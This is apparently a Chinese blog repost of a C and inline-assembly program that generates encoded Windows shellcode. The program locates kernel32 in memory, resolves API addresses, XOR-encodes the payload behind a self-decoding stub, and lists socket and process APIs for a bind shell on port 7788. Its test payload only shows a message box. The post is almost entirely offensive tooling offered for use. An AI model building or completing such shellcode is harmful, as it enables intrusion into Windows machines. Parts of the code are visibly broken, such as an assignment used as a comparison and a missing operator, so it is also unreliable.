网上看到的编写shellcode的程序
1 /* 2 使用C语言编写通用shellcode的程序 3 出处:internet 4 修改:Hume/冷雨飘心 5 测试:Win2K SP4 Local 6 7 */ 8 #include <windows.h> 9 #include <stdio.h> 10 #include <winioctl.h> 11 12 #define DEBUG 1 13 14 // 15 //函数原型 16 // 17 void DecryptSc(); 18 void ShellCodes(); 19 void PrintSc(char *lpBuff, int buffsize); 20 21 // 22 //用到的部分定义 23 // 24 #define BEGINSTRLEN 0x08 //开始字符串长度 25 #define ENDSTRLEN 0x08 //结束标记字符的长度 26 #define nop_CODE 0x90 //填充字符 27 #define nop_LEN 0x0 //ShellCode起始的填充长度 28 #define BUFFSIZE 0x20000 //输出缓冲区大小 29 30 #define sc_PORT 7788 //绑定端口号 0x1e6c 31 #define sc_BUFFSIZE 0x2000 //ShellCode缓冲区大小 32 33 #define Enc_key 0x7A //编码密钥 34 35 #define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够? 36 #define MAX_Sc_Len 0x2000 //hellCode的最大长度 8192足够? 37 #define MAX_api_strlen 0x400 //APIstr字符串的长度 38 #define API_endstr "strend"//API结尾标记字符串 39 #define API_endstrlen 0x06 //标记字符串长度 40 41 #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\ 42 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 43 #define PROC_END PROC_BEGIN 44 //--------------------------------------------------- 45 enum{ //Kernel32 46 _CreatePipe, 47 _CreateProcessA, 48 _CloseHandle, 49 _PeekNamedPipe, 50 _ReadFile, 51 _WriteFile, 52 _ExitProcess, 53 54 //WS2_32 55 _socket, 56 _bind, 57 _listen, 58 _accept, 59 _send, 60 _recv, 61 _ioctlsocket, 62 _closesocket, 63 64 //本机测试User32 65 _MessageBeep, 66 _MessageBoxA, 67 API_num 68 }; 69 70 // 71 //代码这里开始 72 // 73 int __cdecl main(int argc, char **argv) 74 { 75 //shellcode中要用到的字符串 76 static char ApiStr[]="\x1e\x6c" //端口地址 77 78 //Kernel32的API函数名称 79 "CreatePipe""\x0" 80 "CreateProcessA""\x0" 81 "CloseHandle""\x0" 82 "PeekNamedPipe""\x0" 83 "ReadFile""\x0" 84 "WriteFile""\x0" 85 "ExitProcess""\x0" 86 87 //其它API中用到的API 88 "wsock32.dll""\x0" 89 "socket""\x0" 90 "bind""\x0" 91 "listen""\x0" 92 "accept""\x0" 93 "send""\x0" 94 "recv""\x0" 95 "ioctlsocket""\x0" 96 "closesocket""\x0" 97 //本机测试 98 "user32.dll""\x0" 99 "MessageBeep""\x0" 100 "MessageBoxA""\x0" 101 102 "\x0\x0\x0\x0\x0" 103 "strend"; 104 105 char *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //标记开始的字符串 106 char *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //标记结束的字符串 107 108 char buff[BUFFSIZE]; //缓冲区 109 char sc_buff[sc_BUFFSIZE]; //ShellCodes缓冲 110 char *pDcrypt_addr, 111 *pSc_addr; 112 113 int buff_len; //缓冲长度 114 int EncCode_len; //加密编码代码长度 115 int Sc_len; //原始ShellCode的长度 116 117 int i,k; 118 unsigned char ch; 119 120 // 121 //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串 122 //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这 123 //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理 124 // 125 pDcrypt_addr=(char *)DecryptSc; 126 127 //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表, 128 //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试 129 130 ch=*pDcrypt_addr; 131 if (ch==0xe9) 132 { 133 pDcrypt_addr++; 134 i=*(int *)pDcrypt_addr; 135 pDcrypt_addr+=(i+4); //此时指向函数的实际地址 136 } 137 //找到解码代码的开始部分 138 for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break; 139 140 if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8); //如找到定位实际代码的开始 141 else 142 { 143 //显示错误信息 144 k=0; 145 printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n"); 146 return 0; 147 } 148 149 for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break; 150 151 if (k<MAX_Enc_Len) EncCode_len=k; 152 else 153 { 154 k=0; 155 printf("\nNo End str defined in Decrypt function!Please Check....\n"); 156 return 0; 157 } 158 159 memset(buff,nop_CODE,BUFFSIZE); //缓冲区填充 160 memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len); //把DecryptSc代码复制进buff 161 162 // 163 //处理ShellCode代码,如果需要定位到代码的开始 164 // 165 pSc_addr=(char *)ShellCodes; //shellcode的地址 166 167 //调试状态下的函数地址处理,便于调试 168 ch=*pSc_addr; 169 if (ch==0xe9) 170 { 171 pSc_addr++; 172 i=*(int *)pSc_addr; 173 pSc_addr+=(i+4); //此时指向函数的实际地址 174 } 175 176 //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的 177 /* 178 for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break; 179 if (k<MAX_Enc_Len) pSc_addr+=(k+8); //如找到定位实际代码的开始 180 */ 181 182 //找到shellcode的结尾及长度 183 for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break; 184 if (k<MAX_Sc_Len) Sc_len=k; 185 else 186 { 187 k=0; 188 printf("\nNo End str defined in ShellCodes function!Please Check....\n"); 189 return 0; 190 } 191 192 193 //把shellcode代码复制进sc_buff 194 memcpy(sc_buff,pSc_addr,Sc_len); 195 196 //把字符串拷贝在shellcode的结尾 197 for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break; 198 if(i>=MAX_api_strlen) 199 { 200 printf("\nNo End str defined in API strings!Please Check....\n"); 201 return 0; 202 } 203 memcpy(sc_buff+k,ApiStr,i); 204 205 Sc_len+=i; //增加shellcode的长度 206 207 // 208 //对shellcode进行编码算法简单,可根据需要改变 209 // 210 k=EncCode_len+nop_LEN; //定位缓冲区应存放ShellCode地址的开始 211 212 for(i=0;i<Sc_len;++i){ 213 214 ch=sc_buff[i]^Enc_key; 215 //对一些可能造成shellcode失效的字符进行替换 216 if(ch=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+') 217 { 218 buff[k]='0'; 219 ++k; 220 ch+=0x31; 221 } 222 //把编码过的shellcode放在DecryptSc代码后面 223 buff[k]=ch; 224 ++k; 225 } 226 227 //shellcode的总长度 228 buff_len=k; 229 230 //打印出shellcode 231 PrintSc(buff,buff_len); 232 //buff[buff_len]=0; 233 //printf("%s",buff); 234 235 #ifdef DEBUG 236 _asm{ 237 lea eax,buff 238 jmp eax 239 ret 240 } 241 #endif 242 243 return 0; 244 } 245 246 //解码shellcode的代码 247 void DecryptSc() 248 { 249 __asm{ 250 251 ///////////////////////// 252 //定义开始标志 253 ///////////////////////// 254 PROC_BEGIN //C macro to begin proc 255 256 jmp next 257 getEncCodeAddr: 258 pop edi 259 push edi 260 pop esi 261 xor ecx,ecx 262 Decrypt_lop: 263 lodsb 264 cmp al,cl 265 jz shell 266 cmp al,0x30 //判断是否为特殊字符 267 jz special_char_clean 268 store: 269 xor al,Enc_key 270 stosb 271 jmp Decrypt_lop 272 special_char_clean: 273 lodsb 274 sub al,0x31 275 jmp store 276 next: 277 call getEncCodeAddr 278 //其余真正加密的shellcode代码会连接在此处 279 shell: 280 281 ///////////////////////// 282 //定义结束标志 283 ///////////////////////// 284 PROC_END //C macro to end proc 285 286 } 287 } 288 289 // 290 //shellcode代码 291 // 292 void ShellCodes() 293 { 294 //API低址数组 295 FARPROC API[API_num]; 296 297 298 //自己获取的API地址 299 FARPROC GetProcAddr; 300 FARPROC LoadLib; 301 302 HANDLE hKrnl32; 303 HANDLE libhandle; 304 305 char *ApiStr_addr,*p; 306 307 int k; 308 u_short shellcodeport; 309 310 //测试用变量 311 char *testAddr; 312 313 /* 314 STARTUPINFO siinfo; 315 SOCKET listenFD,clientFD; 316 struct sockaddr_in server; 317 int iAddrSize = sizeof(server); 318 int lBytesRead; 319 PROCESS_INFORMATION ProcessInformation; 320 HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; 321 SECURITY_ATTRIBUTES sa; 322 323 */ 324 325 326 _asm { 327 jmp locate_addr0 328 getApiStr_addr: 329 pop ApiStr_addr 330 331 //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址 332 //以后就可以方便地获取任何API的地址了 333 334 //保护寄存器 335 pushad 336 337 xor esi,esi 338 lods dword ptr fs:[esi] 339 340 Search_Krnl32_lop: 341 inc eax 342 je Krnl32_Base_Ok 343 dec eax 344 xchg esi,eax 345 LODSD 346 jmp Search_Krnl32_lop 347 Krnl32_Base_Ok: 348 349 LODSD 350 ;compare if PE_hdr 351 xchg esi,eax 352 find_pe_header: 353 dec esi 354 xor si,si ;kernel32 is 64kb align 355 mov eax,[esi] 356 add ax,-'ZM' ; 357 jne find_pe_header 358 mov edi,[esi+3ch] ;.e_lfanew 359 mov eax,[esi+edi] 360 add eax,-'EP' ;anti heuristic change this if you are using MASM etc. 361 jne find_pe_header 362 363 push esi 364 ;esi=VA Kernel32.BASE 365 ;edi=RVA K32.pehdr 366 mov ebx,esi 367 mov edi,[ebx+edi+78h] ;peh.DataDirectory 368 369 push edi 370 push esi 371 372 mov eax,[ebx+edi+20h] ;peexc.AddressOfNames 373 mov edx,[ebx+edi+24h] ;peexc.AddressOfNameOrdinals 374 call __getProcAddr 375 _emit 0x47 376 _emit 0x65 377 _emit 0x74 378 _emit 0x50 379 _emit 0x72 380 _emit 0x6F 381 _emit 0x63 382 _emit 0x41 383 _emit 0x64 384 _emit 0x64 385 _emit 0x72 386 _emit 0x65 387 _emit 0x73 388 _emit 0x73 389 _emit 0x0 390 //db "GetProcAddress",0 391 __getProcAddr: 392 pop edi 393 mov ecx,15 394 sub eax,4 395 next_: 396 add eax,4 397 add edi,ecx 398 sub edi,15 399 mov esi,[ebx+eax] 400 add esi,ebx 401 mov ecx,15 402 repz cmpsb 403 jnz next_ 404 405 pop esi 406 pop edi 407 408 sub eax,[ebx+edi+20h] ;peexc.AddressOfNames 409 shr eax,1 410 add edx,ebx 411 movzx eax,word ptr [edx+eax] 412 add esi,[ebx+edi+1ch] ;peexc.AddressOfFunctions 413 add ebx,[esi+eax*4] ;ebx=Kernel32.GetProcAddress.addr 414 ;use GetProcAddress and hModule to get other func 415 pop esi ;esi=kernel32 Base 416 417 mov [hKrnl32],esi //保存 418 mov [GetProcAddr],ebx //保存 419 420 call _getLoadLib 421 _emit 0x4C 422 _emit 0x6F 423 _emit 0x61 424 _emit 0x64 425 _emit 0x4C 426 _emit 0x69 427 _emit 0x62 428 _emit 0x72 429 _emit 0x61 430 _emit 0x72 431 _emit 0x79 432 _emit 0x41 433 _emit 0x0 434 //db "LoadLibraryA",0 435 436 _getLoadLib: 437 push esi 438 call ebx 439 mov [LoadLib],eax 440 441 //恢复寄存器,避免更多问题 442 popad 443 } 444 445 //取出定义的端口地址 446 shellcodeport=*(u_short *)ApiStr_addr; 447 ApiStr_addr+=2; 448 449 ////////////////////////////////测试用 450 testAddr=ApiStr_addr; 451 //////////////////////////////////// 452 453 //利用GetProcAddress来获得shellcode中所用到的API地址 454 455 libhandle=hKrnl32; 456 p=ApiStr_addr; 457 458 k=0; 459 ///* 460 while ( *((unsigned int *)p) != 0) 461 { 462 ApiStr_addr=p; 463 while(*p) p++; //前进到下一个字符串 464 465 if (*( (unsigned int *)(p-4))=='lld.') 466 { 467 libhandle=(HANDLE)LoadLib(ApiStr_addr); //若为DLL则加载DLL 468 } 469 else 470 { 471 API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr); 472 k++; 473 } 474 475 ApiStr_addr=++p; //更新指针前进一个字符位置 476 477 } 478 479 //*/ 480 481 /////////////////////////////////////////////////////////////////////////// 482 // 下面就可以使用C语言来编写真正实现功能的shellcode了 // 483 /////////////////////////////////////////////////////////////////////////// 484 // 485 //简单测试几个API看是否复合要求 486 // 487 API[_MessageBeep](0x10); 488 API[_MessageBoxA](0,testAddr,0,0x40); 489 API[_ExitProcess](0); 490 /////////////////////////////////////////////////////////////////////////// 491 // shellcode功能部分结束 // 492 /////////////////////////////////////////////////////////////////////////// 493 494 //死循环 495 die: 496 goto die; 497 __asm 498 { 499 locate_addr0: 500 call getApiStr_addr //5 bytes 501 //真正的字符串数据要连接在此处 502 503 504 505 506 ///////////////////////// 507 //定义结束标志 508 ///////////////////////// 509 PROC_END //C macro to end proc 510 511 } 512 } 513 514 // 515 //显示打印生成的shellcode的C string格式代码 516 // 517 void PrintSc(char *lpBuff, int buffsize) 518 { 519 int i,j; 520 char *p; 521 char msg[4]; 522 for(i=0;i<buffsize;i++) 523 { 524 if((i%16)==0) 525 if(i!=0) 526 printf("\"\n\""); 527 else 528 printf("\""); 529 sprintf(msg,"\\x%.2X",lpBuff[i]&0xff); 530 for( p = msg, j=0; j 4; p++, j++ ) 531 { 532 if(isupper(*p)) 533 printf("%c", _tolower(*p)); 534 else 535 printf("%c", p[0]); 536 } 537 } 538 printf("\";\n/*Shell total are %d bytes */\n",buffsize); 539 }
有BUG。用的时候需要修改
我自己写了一个,在另一篇随笔里。虽然代码难看,但是确实能用……
不会排版,貌似源地址的代码看起来更清晰一些